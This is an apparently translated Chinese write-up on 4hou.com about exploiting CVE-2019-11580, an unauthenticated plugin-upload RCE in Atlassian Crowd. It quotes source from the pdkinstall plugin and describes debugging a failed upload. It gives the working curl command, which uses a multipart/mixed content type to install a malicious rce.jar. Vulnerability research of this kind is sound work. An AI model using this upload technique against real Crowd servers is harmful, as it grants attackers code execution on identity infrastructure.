励志鸡汤:新手视角分析Atlassian Crowd RCE - CVE-2019-11580 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

励志鸡汤:新手视角分析Atlassian Crowd RCE - CVE-2019-11580

群马高桥启介 漏洞 2019-07-19 11:15:35
432945
收藏

导语:Crowd是一个单点登录和用户身份管理工具,从获取到的信息中得知,攻击目标使用的是Crowd较早的版本。

简介

Atlassian Crowd是Atlassian旗下的主要产品之一,Crowd是一个单点登录和用户身份管理工具,容易使用、管理方便并且可集成自己的插件进行扩展,另外在Crowd平台上能够管理全部应用程序的访问权限 - Atlassian、Subversion、Google应用、或者自己开发的应用程序。

从获取到的信息中得知,攻击目标使用的是Crowd较早的版本。通过Google检索相关信息看是否存在相关漏洞,从官方修复报告中发现,之前存在着pdkinstall开发插件错误启用导致远程代码执行的漏洞(CVE-2019-11580) 

61194533-a7441a00-a6f4-11e9-8e9d-f74e1c75899a.png

根据这一信息再进行搜索,没能找到关于该漏洞的相关POC,于是我决定进行分析之后,自己写一个POC出来。

分析

首先我们就找到pdkinstall-plugin,并将其克隆到本地机器

root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

从Atlassian开发者文档中了解到,插件都会有一份描述文件,于是果断在**./main/resources/atlassian-plugin.xml**找到了该插件的描述文件

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

可以看到Java servlet class com.atlassian.pdkinstall.PdkInstallFilter被调用来访问**/admin/uploadplugin.action**。我们已经得知该漏洞可通过安装任意插件以达成远程代码执行,所以接下来应该去口口PdkInstallFilter servlet的源代码。

说干就干,将pdkinstall-plugin导入进IntelliJ以便更全面的阅读源代码,这里我们就从doFilter()方法入手。

阅读代码,如果这个地方请求的方式不是POST,代码将会退出并返回一个错误

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

接下来代码会继续判断POST请求中是否包含multipart数据,有关multipart的介绍可以看看《深入解析 multipart/form-data》。如果包含multipart就调用extractJar()方法,从发送请求包中提取jar。除此之外,代码会调用buildJarFromFiles()方法,尝试着依据请求中的数据构建一个插件jar文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

好了,从现在开始将目光聚集到extractJar()方法

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);
    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先它会实例化一个新的ServletFileUpload对象,然后调用parseRequest()方法来解析HTTP请求。此方法被用来处理HTTP请求中的multipart / form-data数据流,并将FileItems作为列表传递给items变量。

对于FileItems列表中的每个item,如果字段名以file_开头且并非HTML表单字段(form field)需要上传的文件会被作为临时文件写入硬盘。如果这个过程失败,tmp变量则为null;如果成功tmp变量则包含成功写入文件的路径。接下来把关注点移回doFilter方法

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }
    tmp.delete();
    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果成功执行extractJar(),变量tmp则不会被设定为null。应用会尝试执行pluginInstaller.install()方法来安装插件,并捕获该执行过程中发生多所有错误。如果该过程中没有发生任何错误,服务端响应代码为200 OK,那么就说明插件已成功安装。如果服务端返回400 Bad Request,并显示“Unable to install plugin”信息,那么安装就失败了。

另外,如果extractJar()方法初始化失败,tmp变量将会被设定为null,服务端响应码为400 Bad Request,并显示“Missing plugin file”

至此我们已搞清servlet后端,以及可能出现的各类请求,let’s try to exploit it!

失败的第一次

使用Atlassian SDK搭建一个实例,并保证可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action调用pdkinstall插件

不出意外的话,服务端会返回400 Bad Request 

61208166-5c90c500-a729-11e9-9465-137a91125a08.png

现在利用我们以及掌握的信息,尝试上传一个标准插件。我选择使用Atlassian自带插件applinks-plugin,你可以通过链接获取编译好的jar文件。

目前已知信息:servlet需要一个包含multipart数据,且multipart数据包含的文件前缀为file_的POST请求。完成这个步骤只需使用cURL’s --form就行

root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" 
http://localhost:4990/crowd/admin/uploadplugin.action -v

61209176-9793f800-a72b-11e9-959d-ffb331792334.png

从返回结果得知,插件已成功安装。所以,我们可以开始制作并安装自己的插件包了?

我制作的这个恶意插件可以到GitHub查看

那么就编译,然后上传吧~

root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v

61209399-391b4980-a72c-11e9-8c38-9ab4b046ec0c (1).png

从响应信息中得知我们失败了。400 Bad Request,伴着“Missing plugin file”信息,我们得承认失败!

早先我们就已经知道返回“Missing plugin file”消息,代表着变量tmp的值为null。这个问题怎么造成的呢?老铁们,debugger走一波

调试

将pdkinstall-plugin导入进IntelliJ,同时打开用于处理上传操作的PdkInstallFilter.java的servlet接口,对Crowd实例进行调试。

彼时,我脑中第一个想法便是问题出在ServletFileUpload.isMultipartContent(req)方法,于是在该处设了一个断点。之后再次上传恶意插件,我们可以看到它正常工作,服务器将其作为multipart信息处理:

61210910-90bbb400-a730-11e9-8de9-df0c4e755986.png

难道问题出在extractJar()?立马对该方法进行调试,并逐行设置断点以便找出问题的关键,设置完之后,再上传一次:

61212013-98c92300-a733-11e9-9486-b0c9ec34edec.png

可以看到upload.parseRequest(req)方法返回一个空的数组,因为变量items为空,它就跳过了for循环并将结果返回给被设置为null的tmp变量

我花了很多时间来思考这个问题产生的原因,但始终没能找出问题根本原因,但现在咱们只需要关心RCE就好!

如果我将multipart/form-data改变为其他的multipart编码会发生什么呢?拭目以待

第二次尝试

这次我决定使用multipart/mixed方式来上传恶意插件,或许会有惊喜呢?

curl -k -H "Content-Type: multipart/mixed" \
  --form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action

从返回结果中确认我们已经成功了,这一刻应该伴有掌声!

61212223-2e64b280-a734-11e9-8913-00204a3e903b.png

在Web端调用恶意插件 

61212367-a7fca080-a734-11e9-9e3a-a3671b09389c.png

至此,我们获得了一个Atlassian Crowd拥有预授权的远程代码执行

启介有话说

从信息收集到最后的成功获得RCE,其中少不了从漏洞赏金计划中获取的相关信息,但更为关键的是原作者不惧怕、敢于挑战新鲜事物的决心。

在此之前,他不懂Java,没有过调试经验,就靠自己一次次的尝试,最终获得成功!

Try new things, do your research, and struggle - it’s a huge part of the learning process!

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务